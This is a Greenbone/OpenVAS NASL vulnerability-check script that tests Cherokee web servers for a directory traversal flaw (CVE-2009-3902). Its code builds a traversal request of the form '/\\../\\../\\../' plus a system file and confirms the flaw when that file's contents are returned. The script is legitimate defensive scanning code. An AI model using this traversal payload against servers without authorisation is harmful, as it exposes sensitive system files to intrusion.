Cherokee Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100326");
  script_version("2023-07-27T05:05:08+0000");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-10-30 14:42:19 +0100 (Fri, 30 Oct 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2009-3902");

  script_name("Cherokee Directory Traversal Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36874");
  script_xref(name:"URL", value:"http://freetexthost.com/ncyss3plli");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web Servers");
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_dependencies("gb_cherokee_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("cherokee/detected");

  script_tag(name:"summary", value:"Cherokee is prone to a directory-traversal vulnerability because it
  fails to sufficiently sanitize user-supplied input data.

  Exploiting the issue may allow an attacker to obtain sensitive
  information that could aid in further attacks.

  Cherokee 0.5.4 and prior versions are vulnerable.");

  script_tag(name:"vuldetect", value:"Tries to read sensitive information.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

CPE = "cpe:/a:cherokee-project:cherokee";

include( "host_details.inc" );
include( "os_func.inc" );
include( "misc_func.inc" );
include( "http_func.inc" );
include( "http_keepalive.inc" );

if( ! port = get_app_port( cpe: CPE, service: "www" ) )
  exit( 0 );

if( ! location = get_app_location( cpe: CPE, port: port ) )
  exit( 0 );

if( location == "/" )
  location = "";

files = traversal_files();

foreach pattern( keys( files ) ) {
  file = files[pattern];

  url = string( location, "/\\../\\../\\../", file );
  req = http_get( item: url, port: port );
  buf = http_keepalive_send_recv( port: port, data: req, bodyonly: TRUE );

  if( http_vuln_check( port: port, url: url, pattern: pattern, check_header: FALSE, icase: TRUE ) ) {
    report = 'It was possible to read sensitive information using directory traversal.\n';
    report += http_report_vuln_url( port: port, url: url );
    security_message( data: report, port: port );
    exit( 0 );
  }
}

exit( 99 );